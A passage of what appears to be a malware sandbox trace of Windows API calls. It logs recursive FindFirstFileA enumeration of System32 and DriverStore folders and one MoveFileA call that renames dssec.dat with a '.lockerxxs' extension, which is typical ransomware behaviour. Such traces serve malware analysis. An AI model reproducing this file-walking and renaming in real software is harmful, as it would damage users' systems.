ftCreationTime.dwLowDateTime=0x3cf2c7f8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6062642c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6062642c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.220] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\windowssideshowenhanceddriver.inf_amd64_neutral_184a2ef2a8f57c33\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e0baa59, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60887a31, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60887a31, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.365] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\winusb.inf_amd64_neutral_6cb50ae9f480775b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36bd706c, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b2ce0cf, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b2ce0cf, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.368] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wnetvsc.inf_amd64_neutral_548addf09cb466fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x823b6e45, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83df1a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8244f801, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.399] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wpdcomp.inf_amd64_neutral_11bbf54c8508434e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ad00b24, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c77c015, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c77c015, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.403] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wpdfs.inf_amd64_neutral_fc4ebadff3a40ae4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bc0f6e4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d374f27, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d374f27, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.404] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wpdmtp.inf_amd64_neutral_28f06ca2e38e8979\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bab8a82, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d34edc6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d34edc6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.443] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wpdmtphw.inf_amd64_neutral_a7a22bb0bb81abb0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bb77163, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d34edc6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d34edc6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.445] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ws3cap.inf_amd64_neutral_eeaccb8f1560f5fb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x826fe3cf, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83e8a451, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8272463e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.446] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wsdprint.inf_amd64_neutral_f91980f20f3112ed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ae2567b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ffc0901, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ffc0901, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.447] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wsdscdrv.inf_amd64_neutral_47406488f9e8d5b8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a1a62e4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f89c6f4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f89c6f4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.449] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wstorflt.inf_amd64_neutral_3db956c41708f7f5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8253469b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83e3df73, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x825f32c6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.456] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wstorvsc.inf_amd64_neutral_d7bf942e99bb1d41\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833f5788, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x841f7c4a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8341b9f7, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.457] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wudfusbcciddriver.inf_amd64_neutral_adc3e4acb1046b4b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375829de, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b63a075, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b63a075, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.465] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wvmbus.inf_amd64_neutral_fca91999602b0343\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8316ce29, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x841ab76c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8329e1a1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.472] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wvmbushid.inf_amd64_neutral_6708ad28050a6765\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8293a850, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83ed692f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x82960abf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.473] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wvmbusvideo.inf_amd64_neutral_8f9a8242d3699a44\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82c81dda, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83fbb7c9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x82ca8049, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.626] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\wvmic.inf_amd64_neutral_b94eb92e8150fa35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e71d7d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x840a0663, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x82f7ce86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.650] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\xcbdav.inf_amd64_neutral_cf80e4da1c95e6e2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47403ca8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6609a8d3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6609a8d3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.973] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\xnacc.inf_amd64_neutral_13c4e272a96185a1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e152fda, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608adb91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608adb91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0148.999] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b45a3b6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xb988c499, ftLastAccessTime.dwHighDateTime=0x1cb892d, ftLastWriteTime.dwLowDateTime=0xb988c499, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1280, cFileName=".", cAlternateFileName="")) returned 0x502598 [0149.000] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\Temp\\{522f6bf6-ae20-0f66-d982-a746d010852a}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b45a3b6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b64959a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b64959a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0149.056] MoveFileA (lpExistingFileName="C:\\Windows\\System32\\dssec.dat" (normalized: "c:\\windows\\system32\\dssec.dat"), lpNewFileName="C:\\Windows\\System32\\dssec.dat.lockerxxs" (normalized: "c:\\windows\\system32\\dssec.dat.lockerxxs")) returned 1 [0149.062] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\el-GR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28424f2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28424f2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0149.603] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0149.606] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xcf3c3fc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf3c3fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0149.958] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0149.959] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0149.962] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.963] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.963] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.964] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.965] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.966] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.967] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.967] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.969] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.971] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.971] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.972] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.973] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.974] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\StarterE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.975] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, 